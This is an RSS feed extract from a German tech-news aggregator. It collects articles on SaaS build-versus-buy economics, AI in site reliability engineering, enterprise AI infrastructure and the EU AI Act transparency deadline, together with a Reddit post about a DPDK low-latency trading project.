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]]> <![CDATA[SaaS will survive, but lazy SaaS is dead]]> https://tsecurity.de/de/3683122/ai-nachrichten/saas-will-survive-but-lazy-saas-is-dead/ https://tsecurity.de/de/3683122/ai-nachrichten/saas-will-survive-but-lazy-saas-is-dead/ Tue, 21 Jul 2026 11:05:13 +0200 🔧 AI Nachrichten tsecurity.de

Something interesting happened during an internal evaluation of AI meeting transcription tools at Tungsten Automation. The products worked. They weren’t bad. But sitting across from the pricing, we kept asking the same question: what exactly are we paying for?

We already had a secure enterprise AI environment. Building a meeting summary workflow took days, not months. We customized the outputs, injected our own internal context, and controlled security our way instead of working around someone else’s roadmap. We built it. It works better. We own it.

That’s not a knock on those vendors. It’s a signal of something more fundamental happening across enterprise software.

The moat was never the product

For two decades, SaaS rode a favorable asymmetry: building internal tools was hard, integrations were messy, and even modest automation required developers and long timelines. Buying was faster and cheaper than building. That asymmetry fueled the explosion of SaaS into every corner of the enterprise stack.

AI is collapsing that asymmetry. Large language models and agentic workflows can orchestrate APIs, move data between systems, generate interfaces, and automate business logic with a fraction of the engineering effort required even two years ago. The integration friction that once protected entire product categories is evaporating.

The vendors most exposed are not the deeply embedded enterprise platforms. They’re the lightweight workflow layers, the products that essentially put a polished interface on top of accessible data and relatively straightforward processes. Reporting dashboards. Meeting tools. Narrow productivity applications. These products created value by simplifying implementation. That rationale is getting harder to sustain when implementation is no longer the real barrier.

Here’s the part most analyses miss: it’s not just that AI makes development faster. It’s that agents change the integration model entirely. For 30 years, enterprise software was built for humans navigating UIs. Agentic systems don’t use UIs. They call APIs, read from multiple sources simultaneously, and move data freely across systems. The switching costs that once made incumbent software sticky are collapsing, because an agent doesn’t care which UI it used last quarter.

The SaaS that survives

The question isn’t whether SaaS survives. It’s which SaaS survives.

The companies with durable positions are not the ones with the cleanest interface. They’re the ones that transfer operational risk customers genuinely cannot absorb themselves. Compliance. Regulatory certification. Accumulated domain expertise. Liability.

Think about compliant invoicing across 140 countries. That’s not a workflow someone builds in a sprint. The certifications alone take years. A single regulatory change in one jurisdiction can break an AP process for a global enterprise overnight. Customers don’t pay for that capability because it’s technically complex. They pay because they cannot afford to own the risk of getting it wrong.

That’s the distinction that matters: AI lowers the cost of building software. It does not lower the cost of absorbing risk. The vendors who understand this are building durable businesses. The ones who don’t are quietly subsidizing their customers’ internal build programs.

Software sells features. Platforms sell accountability.

The prototype trap

The danger for enterprise buyers right now is overcorrection. Every successful prototype looks like a cost-saving opportunity. Very few survive the jump to production.

Building a workflow with generative AI is becoming straightforward. Maintaining it is not. Models evolve. Outputs drift. Governance requirements tighten. What worked cleanly in a controlled environment behaves differently at scale, and the failure mode is worse than traditional software. Rule-based automation, when it fails, fails obviously. Agents fail silently, confidently, at scale, often with a completely reasonable-sounding explanation.

Engineering teams that take on AI-powered systems need to solve for observability, model drift, access controls, audit trails, and long-term maintenance ownership. In regulated industries, they need to demonstrate exactly how the system reached every decision. That’s not a weekend project. That’s an ongoing operational commitment that compounds over time as models change and regulatory requirements evolve.

Before a team decides to replace an external platform with internal AI tooling, the honest question isn’t, “Can we build this?” The real question is, “Are we prepared to own this in production, for years, as the underlying models change beneath us?” Sometimes the answer is yes. Often the answer is no, and the true cost only becomes visible after the vendor contract is canceled.

Build vs. partner: a sharper frame

The build vs. buy framing has always been too binary. The right question is build vs. partner.

Partner for the capabilities where risk transfer, regulatory complexity, and domain expertise create genuine value your team cannot replicate. Build for the capabilities that actually differentiate your business from your competitors. Don’t burn your best engineers rebuilding compliant invoice processing or production-grade document extraction. Those aren’t competitive advantages. They’re table stakes, and someone else has already paid the cost, across decades, to make them reliable.

The organizations getting this right are honest about where they create unique value. They focus development there, and partner for everything else. The ones getting it wrong are vibe-coding solutions to non-differentiating problems while their actual competitive moat goes unattended.

The true value of software

We’re not watching the death of SaaS. We’re watching the end of the friction-based value proposition: the idea that software is worth renewing because integration used to be painful. That rationale is largely gone.

What survives is software that does something customers cannot reasonably replicate internally: absorb risk, maintain regulatory compliance, deliver operational reliability at scale, and bring genuine domain expertise into a production-grade system that someone else already stress-tested for years.

The vendors who recognize this are already repositioning around accountability, governance, and outcomes. The ones who haven’t will find the next renewal conversation noticeably harder.

Software sells features. Platforms sell accountability. That distinction is about to separate a lot of winners from a lot of cautionary tales.

—

New Tech Forum provides a venue for technology leaders—including vendors and other outside contributors—to explore and discuss emerging enterprise technology in unprecedented depth and breadth. The selection is subjective, based on our pick of the technologies we believe to be important and of greatest interest to InfoWorld readers. InfoWorld does not accept marketing collateral for publication and reserves the right to edit all contributed content. Send all inquiries to doug_dineley@foundryco.com.

]]> <![CDATA[How AI impacts site reliability engineering]]> https://tsecurity.de/de/3683121/ai-nachrichten/how-ai-impacts-site-reliability-engineering/ https://tsecurity.de/de/3683121/ai-nachrichten/how-ai-impacts-site-reliability-engineering/ Tue, 21 Jul 2026 11:05:12 +0200 🔧 AI Nachrichten tsecurity.de

Site reliability engineers (SREs) have the tough assignment of resolving thorny performance and reliability issues. But their primary mission is to provide devops teams with operational insights and to suggest implementation improvements on business system performance, security, and overall robustness.

Google introduced its SRE playbook in 2003, but it took some time for the role’s definition, tools, and techniques to become mainstream. Startups were the first to adopt observability for cloud-native applications and create dedicated SRE positions. As tools matured and SRE responsibilities became more clearly defined, larger enterprises assigned SREs to work as a bridge between devops and IT ops teams to improve resilience across a wider range of applications, APIs, and data pipelines.

SRE is a career path for multidisciplinary engineers with strong investigative instincts, sharp data analytics skills, and the temperament to perform under pressure. It has become a critical responsibility as tech became mission-critical for enterprises, and it is a growing role in the genAI era as more businesses deploy AI agents.

But the critical need for resiliency and greater technological complexity brings new challenges for SREs. According to the 2026 State of Production Reliability and AI Adoption report, 44% of respondents experienced an outage linked to ignored or suppressed alerts in the past year, and 35% report their engineers occasionally ignore or dismiss alerts due to alert fatigue. More than 70% of alerts received are not actionable, according to 57% of organizations.

So, is AI making the SRE’s role easier and helping businesses run more reliable technology operations? On the other hand, AI is also driving complexity, as companies deploy genAI tools and AI agents across more business functions and seek to automate more decision-making across operations.

AIops and agentic ops aid SREs

Over the past decade, SRE responsibilities have become somewhat easier through improvements in monitoring platforms, observability practices, tools for centralizing operational data, and AI applied in IT operations (AIops). But during the heat of resolving an outage or performance issue, it’s not easy to correctly identify what system triggered the issue versus other downstream systems impacted by it.

According to the Komodore 2025 Enterprise Kubernetes Report, 79% of production incidents originate from recent system changes, including deployments and changes to compute environments. But the other 21% of incidents stem from issues outside of the business’s control, including network failures, third-party changes, and cloud provider failures.

“SREs using AI capabilities succeed or fail in the moment an incident unfolds, when engineers are deciding what to investigate next,” says Itiel Shwartz, CTO at Komodor. “If the system streamlines root cause detection, connects signals to recent changes, and explains its reasoning in a way engineers recognize, it earns trust. If it adds uncertainty or demands extra validation, it gets sidelined, regardless of how bespoke the model behind it may be. What’s less obvious is what it takes to make AI for SREs work in production, and how different that reality is from prototypes, demos, or early internal builds.”

AIops is not a new capability, especially in using machine learning to correlate logs, metrics, and traces across monitoring and alerting systems. IT service management and SREs have been using AIops to reduce the mean time to resolve incidents and to perform accurate root cause analysis (RCA) efficiently. Agentic ops is the next wave of genAI operational capabilities, including tools for monitoring AI agents, managing their access rights, and detecting AI model accuracy drift.

 “AI is useful during major incidents because it can pull together a lot of context into a few clear sentences, which is exactly what an SRE needs in the moment,” suggests Shani Shoham, chief revenue officer at OpenObserve. “The complexity of architecture and the different tooling make it easier for AI than for a human, but autonomous resolution is still a way off.”

AI’s impact on people and burnout

The business pressure to keep systems up, secure, and performing well is a 24/7 stressful responsibility. According to The SRE Report 2025 from Catchpoint, 36% of SREs often or always experience elevated stress during an incident, and 28% said the stress persists even after the incident is resolved. AI capabilities may prove to be a game-changer in helping SREs avoid burnout and reduce stress.

“AI can improve RCA by taking in a much larger incident context than any engineer can hold at 3am, reasoning across traces, logs, metrics, deploys, config changes, alerts, ownership, and recent production behavior,” says Noam Levy, founding engineer and field CTO at Groundcover. “Beyond attempting a full RCA, its immediate value is distilling the signals that actually matter, reconstructing a clear timeline of cause and effect, and helping engineers separate correlation from likely causality. Once a fix is deployed, agents can also verify remediation by comparing pre- and post-fix behavior, but this depends on broad access to rich, correlated production signals and a cost model that does not discourage adoption or experimentation.”

Not only are incidents resolved faster and with less stress, but AI can also free up SRE time to focus on proactive work and create a career path for junior developers into SRE roles. Quais Taraki, CTO at EDB Postgres AI, adds, “AI reduces toil by automating repetitive tasks while accelerating incident resolution through copilots that correlate signals across distributed systems, allowing SREs to focus more on resilience strategies like chaos engineering and failure analysis.”

AI can have long-lasting operational impacts, especially for organizations looking to deploy more mission-critical technology and AI capabilities. Two longer-term benefits of AI for SREs are reducing the number of bridge calls needed for incident response and the number of engineers required in “war rooms” to coordinate root cause analyses.

“When something goes wrong, AI that guides SREs can do the full analysis, get to the root cause, and perform the remediation,” says Spiros Xanthos, founder and CEO of Resolve AI. “AI also helps avoid many escalations, and when escalations are needed, it targets the right people from the network, infrastructure, and the application teams. AI for SREs centralizes operational intelligence, exposes tribal knowledge, and can guide more junior developers.” 

AI agent reliability

While AI capabilities have been a net positive in helping SREs improve system reliability, the growth of AI code generators, vibe coding, and spec-driven development is adding to their workloads. According to one study, 41% of all global code is now AI-generated, and Gartner predicts that 40% of new enterprise production software will be created using vibe coding techniques by 2028.

But coding velocity is creating new issues for SREs as AI pull requests have 1.4 times more critical issues and 1.7 times more major issues, according to CodeRabbit. “AI-assisted development has created an unprecedented velocity of code reaching production, expanding surface area, edge cases, and failure rates faster than traditional SRE practices can absorb,” says Vinod Jayaraman, cofounder and CTO at NeuBird AI. “The speed of shipping has far outpaced the speed of understanding what breaks in production. To close this loop, SREs need enterprise agents that can capture precise diagnostic context, including correlated traces, service dependencies, and anomaly timelines, and structure it as actionable input for the engineers and AI coding tools responsible for the fix.”

The growing number of AI agents deployed to production creates new challenges. AI agents are not just code; they have multiple failure points. They are built using language models, connect to proprietary sources for context, and integrate with Model Context Protocol servers to support more complex workflows. Changes are ongoing and not deployment events, so the SRE’s job of identifying the source of performance and accuracy drifts isn’t trivial. 

“Traditional SRE was built for systems that fail in reproducible ways, but agents fail differently and drift when a model provider pushes an update, and behavior shifts silently with no baseline for comparison,” says Mohammed Aboul-Magd, vice president of product at SandboxAQ. “Most organizations can’t even answer the basics: how many agents are running, what they have access to, and whether they’re still doing what they were built to do.”

“Every time a senior engineer leaves, they take years of learned failure patterns with them, and the next outage starts from square one,” adds Ronak Desai, cofounder and CEO at Ciroos. “Using AI for compounding operational memory changes that, and every incident your system resolves, the AI learns it.”

SREs should take a leadership role in emerging best practices, including defining their standards for AI agent non-functional acceptance criteria, observability practices, and release-readiness criteria. SREs should update their service-level objectives (SLOs) and define error budgets for AI agents in production.

Ryan Downing, vice president and CIO of enterprise business solutions at Principal Financial Group, says, “Standard SLOs and error budgets give teams the guardrails, and AI helps interpret the telemetry against those targets, reducing noise so engineers can get to the real issue faster and automate parts of remediation before customers are impacted.”

AI raises the SRE’s business impact

The more dramatic shift in site reliability engineering is an evolution of its business scope. IT leaders focus on uptime, performance, and issue resolution, as well as understanding their impacts. Business leaders will look to IT and SREs to identify, determine root cause, and remediate a broader class of issues, including rogue AI agents and the impacts of rapidly deploying new agentic capabilities. 

“AI agents are handing SREs categories of problems they’ve never had to solve before, specifically failures defined in business terms, not technical ones,” says Blake Sherwood, distinguished technologist for AI and platform strategy at Smarsh. “Traditional reliability engineering is built around latency, errors, and crashes, but agents now fail due to skipped compliance steps or outcomes that looked fine technically but were wrong contextually. Most SRE teams aren’t wired for that yet.”

The question is whether SREs with AI-augmented tools can keep up with the velocity, complexity, and business urgency of deploying new AI business capabilities.

]]> <![CDATA[The next AI bottleneck is not the model. It’s the infrastructure behind it]]> https://tsecurity.de/de/3683109/it-nachrichten/the-next-ai-bottleneck-is-not-the-model-its-the-infrastructure-behind-it/ https://tsecurity.de/de/3683109/it-nachrichten/the-next-ai-bottleneck-is-not-the-model-its-the-infrastructure-behind-it/ Tue, 21 Jul 2026 11:03:50 +0200 📰 IT Nachrichten tsecurity.de

Every enterprise AI conversation seems to begin with the same question: Which model should we use?

I understand why. Models are visible. They have names, benchmarks, release notes, pricing pages and impressive demos. They are easy to compare in a leadership meeting. One model promises better reasoning. Another offers a larger context window. Another appears faster, cheaper or more specialized.

But after years of working around enterprise platforms, integration layers, cloud migration, middleware, production operations and mission-critical systems, I see the AI conversation differently.

The model matters. But it is not where most enterprises will struggle next.

The next AI bottleneck is the infrastructure behind the model.

I do not mean only GPUs, cloud capacity or data storage. I mean the full enterprise operating layer that allows AI to work safely in the real world: data pipelines, identity, APIs, messaging, observability, security controls, deployment automation, cost governance, auditability, support ownership and recovery design.

That layer is what determines whether AI remains an exciting experiment or becomes a trusted business capability.

Pilots hide the hard part

Most organizations can build an impressive AI pilot. A small team can connect a model to a dataset, create a workflow and show a use case that works well in a controlled setting.

The harder part starts when that pilot moves into a real production process.

That is when practical questions show up. Who owns the data quality? What systems can the AI access? How do we trace which prompt, policy or retrieval flow produced a specific answer? What happens when an API slows down, a queue backs up or a downstream system is unavailable?

To me, these are not model problems. They are infrastructure problems.

This is where many enterprises are now headed. The first phase of AI was experimentation. The next phase is operationalization, and that is where the real gap becomes clear.

McKinsey has made a similar point in its work on agentic AI, noting that the next phase of value depends less on isolated tools and more on redesigning workflows, operating models and enterprise execution around agents.

AI pilots can survive on enthusiasm. Production AI requires architecture.

AI is becoming an integration problem

The more I look at enterprise AI, the more it feels like an integration challenge.

In large organizations, I have seen how messaging platforms, integration gateways, deployment pipelines, monitoring tools and cloud infrastructure can decide whether a digital capability succeeds or fails. AI will be no different. Even the strongest model will struggle if the data, middleware, identity layer and operational controls around it are weak.

AI does not work in isolation. It needs context from systems of record, clean data from different business areas, secure access to APIs, event streams, workflows, knowledge repositories, monitoring tools and legacy systems.

That is why the CIO question is changing.

It is no longer just, “Which AI tool should we buy?”

It is becoming, “Can we safely operationalize intelligence across the business?”

This is where agentic AI matters. Autonomous AI only creates real value when the architecture around it can make its actions safe, traceable and useful.

A model can generate an answer. Infrastructure determines whether that answer is secure, timely, explainable, governed and connected to the right workflow.

For example, an AI assistant that summarizes customer or order information may look like a model use case. But underneath, it depends on access control, fresh data, reliable APIs, logging, encryption, monitoring and policy enforcement.

If the answer is wrong, people may blame the model. But the real failure may have started with stale data, weak integration, poor access design, missing observability or an unreliable downstream system.

That is why CIOs should not judge AI only by model capability. The enterprise system around the model matters just as much.

Latency will become a trust issue

In traditional technology operations, latency is often treated as a performance metric. In AI-enabled workflows, latency becomes a trust issue.

When an employee asks an AI assistant for help and the response takes too long, the employee stops using it. When a customer-facing workflow becomes slow, the customer abandons it. When an AI agent waits on multiple backend calls, the entire business process feels unreliable.

This becomes even more important as organizations move from simple chat interfaces to agentic workflows. A single AI-driven action may include identity checks, context retrieval, policy validation, model reasoning, API calls, business-rule execution, logging and human approval.

Each step adds latency. Each dependency adds a possible failure point.

A model may be fast in a benchmark but slow inside an enterprise process. That difference matters.

This is where platform engineering becomes essential. Enterprises need reusable patterns for AI workloads: approved connectors, secure retrieval methods, queue-based decoupling, caching strategies, deployment pipelines, monitoring dashboards and standard rollback procedures.

Without those patterns, every AI initiative becomes a custom build. Custom builds may work for pilots, but they do not scale across a large enterprise.

Observability has to expand

Traditional monitoring tells us whether infrastructure is healthy. Is the server up? Is CPU high? Is memory exhausted? Is the application returning errors?

AI needs that, but it also needs more.

We need to know what data was retrieved, which model was used, which prompt version was active, which user initiated the request, which policy was applied, how long each step took and whether the output passed validation.

We also need to detect new forms of risk: unusual usage patterns, repeated failed tool calls, unexpected cost spikes, sensitive data exposure, weak retrieval results or an AI workflow attempting actions outside its intended boundary.

In production AI, observability is not only about uptime. It is about confidence.

If a business leader, auditor, regulator or security team asks why an AI system made a recommendation, the answer cannot be, “The model said so.” The enterprise needs traceability. It needs evidence. It needs operational context that engineers, risk teams and business owners can understand.

This is one of the biggest gaps I see in AI strategy. Many organizations are investing in models and use cases, but not enough in the control plane required to manage them.

Data readiness is still underestimated

AI has exposed an uncomfortable truth: many enterprises are not as data ready as they think.

Data is often duplicated across platforms, described differently by each team, governed inconsistently and refreshed on different schedules. Access rules may be clear in one system but unclear in another. Even basic business definitions can change from department to department.

AI does not fix that automatically. In many cases, it makes the problem more visible.

A bad report may be questioned. A bad AI answer may sound confident enough to be trusted.

That is a real risk.

Being data-ready for AI is not just about connecting a vector database or indexing documents. It requires clear ownership, lineage, classification, quality checks, retention rules, access boundaries and a shared understanding of which data should be used for which purpose.

The same principle applies to resilient cloud-native design. In my IEEE TechRxiv paper, “Enabling Fault-Tolerant Multicast in Cloud-Native Architectures” I explored how reliability, observability and fault tolerance become foundational requirements when critical workloads stretch across hybrid and multi-cloud environments.

CIOs already understand this because they have lived through enterprise resource planning programs, cloud migration, integration modernization, cybersecurity transformation and analytics initiatives. The lesson is familiar: technology cannot outrun data discipline forever.

Security cannot be added later

As AI moves from answering questions to acting, security becomes much more important.

An assistant that summarizes information carries one level of risk. An agent that can open a ticket, update a record, trigger a workflow, approve a request or contact a customer carries a very different one.

The more AI can do, the more identity, authorization, least privilege, separation of duties and human approval matter.

Enterprises should be careful not to grant AI broad access just to speed up a pilot. That may seem harmless in development, but it can become dangerous at scale.

AI access should be treated like any other privileged enterprise capability: limited, logged, reviewed and easy to revoke.

The NIST AI Risk Management Framework is a useful reference point here because it frames AI risk as something organizations must govern, map, measure and manage continuously rather than something handled only at the end of deployment.

Security teams should be involved early, not at the end. The goal is not to slow innovation. The goal is to build a platform where safe innovation becomes repeatable.

The CIO has to define the operating model

AI is creating pressure from every direction. Boards want productivity. Business teams want automation. Employees want better tools. Vendors are pushing new features. Security teams are watching risk. Finance teams are watching cost. Customers expect faster, smarter experiences.

The CIO sits in the middle of all of it.

That is why the CIO’s role cannot stop at choosing tools or approving pilots. The CIO has to define how AI will actually operate across the enterprise.

That means answering practical questions. Which architecture is approved? Which data sources can be trusted? How are AI workflows deployed, monitored, supported and governed? How are costs controlled? How do teams reuse common patterns instead of rebuilding the same foundation each time?

This work may not be as exciting as a model demo, but it is what separates sustainable AI from short-term experimentation.

The winning organizations will not be the ones with the most pilots. They will be the ones with the strongest AI operating layer.

They will build reusable platform patterns, strengthen data governance, design access properly, monitor AI behavior end to end and measure success by business improvement, not only model performance.

The model still matters. But the enterprise behind the model matters more.

A powerful model on weak infrastructure will eventually disappoint the business. A capable model on strong infrastructure can deliver real value because it can be trusted, secured, scaled and improved.

That is the shift CIOs need to lead.

The next AI bottleneck is not the model. It is whether the enterprise behind the model is ready.

This article is published as part of the Foundry Expert Contributor Network.
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]]> <![CDATA[PR3TACK preemptive framework maps threats before attackers use them]]> https://tsecurity.de/de/3682751/it-security-nachrichten/pr3tack-preemptive-framework-maps-threats-before-attackers-use-them/ https://tsecurity.de/de/3682751/it-security-nachrichten/pr3tack-preemptive-framework-maps-threats-before-attackers-use-them/ Tue, 21 Jul 2026 07:37:33 +0200 📰 IT Security Nachrichten tsecurity.de Defensive frameworks in cybersecurity record what attackers have already done. Analysts study a breach, document the method, and build detections around confirmed activity. This cycle leaves a gap between the moment an attacker invents a technique and the moment defenders…

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The post PR3TACK preemptive framework maps threats before attackers use them appeared first on IT Security News.

]]> <![CDATA[PR3TACK preemptive framework maps threats before attackers use them]]> https://tsecurity.de/de/3682725/it-security-nachrichten/pr3tack-preemptive-framework-maps-threats-before-attackers-use-them/ https://tsecurity.de/de/3682725/it-security-nachrichten/pr3tack-preemptive-framework-maps-threats-before-attackers-use-them/ Tue, 21 Jul 2026 07:24:38 +0200 📰 IT Security Nachrichten tsecurity.de Defensive frameworks in cybersecurity record what attackers have already done. Analysts study a breach, document the method, and build detections around confirmed activity. This cycle leaves a gap between the moment an attacker invents a technique and the moment defenders learn to catch it. PR3TACK, the Preemptive Tactics and Countermeasures Knowledgebase, aims to close that gap. Vishal Thakur of Atlassian built the open framework that catalogs plausible attacker tactics, techniques, and procedures that remain unobserved … More →

The post PR3TACK preemptive framework maps threats before attackers use them appeared first on Help Net Security.

]]> <![CDATA[The EU’s AI transparency deadline is weeks away. Is your enterprise ready?]]> https://tsecurity.de/de/3682527/it-nachrichten/the-eus-ai-transparency-deadline-is-weeks-away-is-your-enterprise-ready/ https://tsecurity.de/de/3682527/it-nachrichten/the-eus-ai-transparency-deadline-is-weeks-away-is-your-enterprise-ready/ Tue, 21 Jul 2026 04:02:28 +0200 📰 IT Nachrichten tsecurity.de

Providers and deployers of AI systems: You only have a couple of weeks left until you must explicitly inform users when they are interacting with AI content.

To assist in the effort, the European Commission (Commission) has published guidelines to help AI deployers get in line with the AI Act’s transparency obligations, which will begin to go into effect on August 2.

After that, companies providing AI systems must alert users when they are interacting with AI. They must also tell users when they have been exposed to deepfakes, “emotion recognition,” or biometric categorization systems, or when they are given AI-manipulated content in matters of “public interests without human review or editorial control.”

Henna Virkkunen, the Commission’s executive VP for tech sovereignty, security and democracy, said in a statement, “with today’s guidelines, the Commission supports the smooth and effective application of the AI Act to make AI systems interacting with people such as chatbots and AI agents and AI content more transparent and trustworthy. These guidelines support providers and deployers in meeting their obligations under the AI Act, while helping citizens know when they are interacting with AI.”

Systems must include machine-readable markers to reveal such content, to reduce “the risk of deception and manipulation” and build public trust in AI.

“Generative systems have collapsed the cost of producing convincing content while the cost of judging it stands where it always stood,” said Sanchit Vir Gogia, chief analyst at Greyhound Research. This requirement is “an attempt to restore friction to that imbalance.”

A company’s non-compliance could result in fines anywhere from €750K (about $856K) to €15M (about $17 million), or even up to 3% of its total worldwide annual revenue.

Transparency requirements

The EU AI Act’s transparency requirements apply to “natural or legal persons,” public authorities, agencies, or other bodies that develop AI systems, or have them developed, and place them on the EU market or into use under their name or trademark. This means all companies, regardless of whether or not they are EU-based.

“Systems placed on the European market, put into service there, or producing outputs used there are inside the field, wherever the developer sits,” Gogia noted.

Applicable systems must be intended to interact directly with “natural persons”; these systems include AI-enabled chatbots or conversational agents, AI companions, or coding agents. However, AI-enabled tools like recommender systems, spam filters, authentication, search and retrieval, transcription, text and code auto-completion, or predictive maintenance do not fall under the rule.

Specific outputs such as AI-generated text, images, video, and audio must contain a machine-readable mark. Deepfakes and public interest-related text created by AI without human review or control must be clearly labeled, however, deepfake content that is “artistic, creative, satirical, or fictional” is largely exempt.

AI content must be marked with one of three labels: “AI,” “Fully AI-generated,” or “Partially AI-modified.” For instance, “Fully AI-generated” applies when news summaries, music, art, or videos have been created without any human oversight (apart from prompting), while “partially AI-modified” could mean a person’s face is swapped into an authentic photograph to create a deepfake.

The three icons are publicly available for free use; enterprises can download zip files in PNG and SVG formats.

Most of the Act’s transparency rules begin to go into effect on August 2. But AI systems placed on the market before then will have some leeway; they must be in compliance by December 2.

However, a four-month allowance “on one obligation, for one population of systems, contingent on one procedural step, is not a strategy,” Gogia emphasized. Enterprises should plan to comply by August 2 and “treat any relief that arrives as margin.”

A consistent code of practice

Along with the transparency guidelines, the Commission has introduced a code of practice that essentially serves as a gesture of good faith. When signed, it can provide “legal certainty” and a “simple and practical” way to demonstrate compliance with the AI Act, according to the Commission. Signatories can also collaborate through the ‘Signatory Taskforce,’ which will share practices and advance technologies around marking and labeling practices.

Providers that choose not to sign must comply through other methods and demonstrate that those methods are “adequate” through assessment by surveillance authorities, according to the Commission.

Non-signatories “keep their flexibility, and will face more case-by-case scrutiny for it,” said Gogia.

Criteria for compliance

Shashi Bellamkonda, principal research director at Info-Tech Research Group, pointed out that the transparency requirements apply to content only when three criteria are met: It has been published, is informative to the public, or is on matters of public interest.

B2B business content or blogs may not need an AI disclosure if they do not meet these criteria, he noted. Also, published text that has undergone human review or is under editorial control does not need to be labeled. Editorial control means that a person must hold the ultimate legal responsibility for the publication of the content.

Many companies like Google, Adobe, and LinkedIn have already established ways to identify images marked as AI-generated. Meta has made it a requirement, but the creator has to add the AI-generated label, Bellamkonda said.

“This is a good move for guardrails around public information, and companies with good compliance and ethical oversight may not have to worry about this,” he noted. But as a general practice, companies should disclose AI-generated content and state whether it has been human reviewed.

Creating a transparency pipeline

Establishing full transparency means identifying who carries the responsibility for the content, whether the marking survives real use, not just testing, and what evidence will defend the decision, Gogia said.

Concerns cluster around responsibility, durability and evidence. Several organizations usually touch one piece of content, and none controls the whole chain, which is why contracts become the “pressure point,” he said. Most current agreements were written to deliver software and say “almost nothing” about provenance persistence, verification access, or evidence retention.

The durability concern is the most difficult, Gogia noted, because marking performs well in controlled settings but “badly in ordinary life.” Meta, for one, said its invisible watermark was designed to survive cropping; a published test, however, found the company’s preview detector missed 55% of cropped images.

“CIOs should ask which platform can actually provide evidence before believing its dashboard,” said Gogia.

Disclosure of AI use must be “clear, distinguishable and accessible,” he emphasized. “A notice buried in lengthy terms, or reachable only through determined clicking, satisfies nobody, least of all a market surveillance authority.”

Sustained compliance is a “living control” requiring a central record of systems, duties and evidence; testing taking place where the user meets the control rather than where the developer built it; and continuous supplier assurance. Enforcement will vary by country, so keep one common baseline with local overlays, Gogia said.

His advice: Inventory every system that talks to people, generates content, or gauges sentiment; classify provider and deployer roles; place disclosures at first interaction; define substantive human review; keep the evidence.

Marks and provenance signals should be tested after content undergoes cropping, compression, translation, transcription, and other editing, Gogia said. A useful audit starts from a real output and follows its “pulse” through generation, editing and publication, identifying at “each beat” the responsible party, the surviving mark, and evidence for exceptions. Missed labels should also be traced for root cause and recurrence.

To ensure compliance, before August 2, enterprises need a prioritized inventory, live disclosures on the highest-risk use cases, and a “named owner for every control,” he noted. In the first 30 days, they should stabilize and test; in the first 90 days, push requirements into procurement processes as a standing discipline. Procurement must secure commitments on marking methods, known failure modes, and evidence access, with explicit notice if/when any of them change.

“The sensible architecture is a common transparency baseline carrying traceability, responsibility, and evidence, with jurisdictional overlays for language, sector rules, and local practice,” Gogia said.

This article originally appeared on CIO.com.

]]> <![CDATA[Looking for guidance on moving my low-latency C++ project from AF_PACKET to real DPDK kernel bypass]]> https://tsecurity.de/de/3682517/linux-tipps/looking-for-guidance-on-moving-my-low-latency-c-project-from-afpacket-to-real-dpdk-kernel-bypass/ https://tsecurity.de/de/3682517/linux-tipps/looking-for-guidance-on-moving-my-low-latency-c-project-from-afpacket-to-real-dpdk-kernel-bypass/ Tue, 21 Jul 2026 03:56:19 +0200 🐧 Linux Tipps tsecurity.de

Hi everyone,

I've been building a low-latency C++20 trading engine as a learning project over the past few months, and I'm now planning the next major version. I'd appreciate some guidance from people with DPDK or low-latency networking experience.

GitHub:
https://github.com/Shivfun99/Pulse-Order

past posts:

https://www.reddit.com/r/quantindia/s/u45s60B33Q

https://www.reddit.com/r/quant/s/IHKVkv0UGv

Current Version (V1)

The project currently includes:

  • Binary market data parsing
  • Level 2 order book
  • Strategy + risk checks
  • DPDK-based packet processing experiments
  • AF_PACKET backend for packet RX/TX
  • Cache-friendly C++20 implementation
  • Lock-free queues
  • Application-side latency benchmarking
  • Scenario testing and benchmarking framework

Current latency (application-side RX → TX enqueue) is in the sub-microsecond range under the benchmark setup, but I understand this is not true wire-to-wire latency since it doesn't involve a physical DPDK-supported NIC.

What I want to build in V2

I want to move to a real DPDK kernel-bypass architecture using a physical NIC instead of AF_PACKET.

My goals are:

  • Real kernel bypass using DPDK
  • VFIO-bound NIC
  • Poll Mode Driver (PMD)
  • Physical RX/TX queues
  • End-to-end latency measurement
  • Hardware timestamping (later)
  • Multi-queue support
  • Real market-data replay
  • Accurate p99/p99.9 latency analysis

My situation

At the moment I only have an ASUS TUF Gaming A15 laptop running Ubuntu. I don't have a desktop or server.

From what I've read, it seems server NICs like the Intel X520/X710/I350 require PCIe, which laptops generally don't provide.

My questions

  1. Is there any practical way to use a real DPDK-supported NIC with only this laptop?
  2. Would you recommend moving to a desktop before attempting real kernel bypass?
  3. What hardware would you buy if you were starting today on a limited budget?
  4. Are there any good open-source examples that demonstrate a complete RX → processing → TX pipeline with DPDK?
  5. If you were designing the next version of this project, what features would you prioritize?

I'm building this primarily to learn low-latency systems and HFT infrastructure, so I'd really appreciate any advice, recommended hardware, papers, repositories, or common mistakes to avoid.

Thanks!

submitted by /u/Federal_Tackle3053
[link] [comments]]]> <![CDATA[The EU’s AI transparency deadline is weeks away. Is your enterprise ready?]]> https://tsecurity.de/de/3682511/it-nachrichten/the-eus-ai-transparency-deadline-is-weeks-away-is-your-enterprise-ready/ https://tsecurity.de/de/3682511/it-nachrichten/the-eus-ai-transparency-deadline-is-weeks-away-is-your-enterprise-ready/ Tue, 21 Jul 2026 03:48:17 +0200 📰 IT Nachrichten tsecurity.de

Providers and deployers of AI systems: You only have a couple of weeks left until you must explicitly inform users when they are interacting with AI content.

To assist in the effort, the European Commission (Commission) has published guidelines to help AI deployers get in line with the AI Act’s transparency obligations, which will begin to go into effect on August 2.

After that, companies providing AI systems must alert users when they are interacting with AI. They must also tell users when they have been exposed to deepfakes, “emotion recognition,” or biometric categorization systems, or when they are given AI-manipulated content in matters of “public interests without human review or editorial control.”

Henna Virkkunen, the Commission’s executive VP for tech sovereignty, security and democracy, said in a statement, “with today’s guidelines, the Commission supports the smooth and effective application of the AI Act to make AI systems interacting with people such as chatbots and AI agents and AI content more transparent and trustworthy. These guidelines support providers and deployers in meeting their obligations under the AI Act, while helping citizens know when they are interacting with AI.”

Systems must include machine-readable markers to reveal such content, to reduce “the risk of deception and manipulation” and build public trust in AI.

“Generative systems have collapsed the cost of producing convincing content while the cost of judging it stands where it always stood,” said Sanchit Vir Gogia, chief analyst at Greyhound Research. This requirement is “an attempt to restore friction to that imbalance.”

A company’s non-compliance could result in fines anywhere from €750K (about $856K) to €15M (about $17 million), or even up to 3% of its total worldwide annual revenue.

Transparency requirements

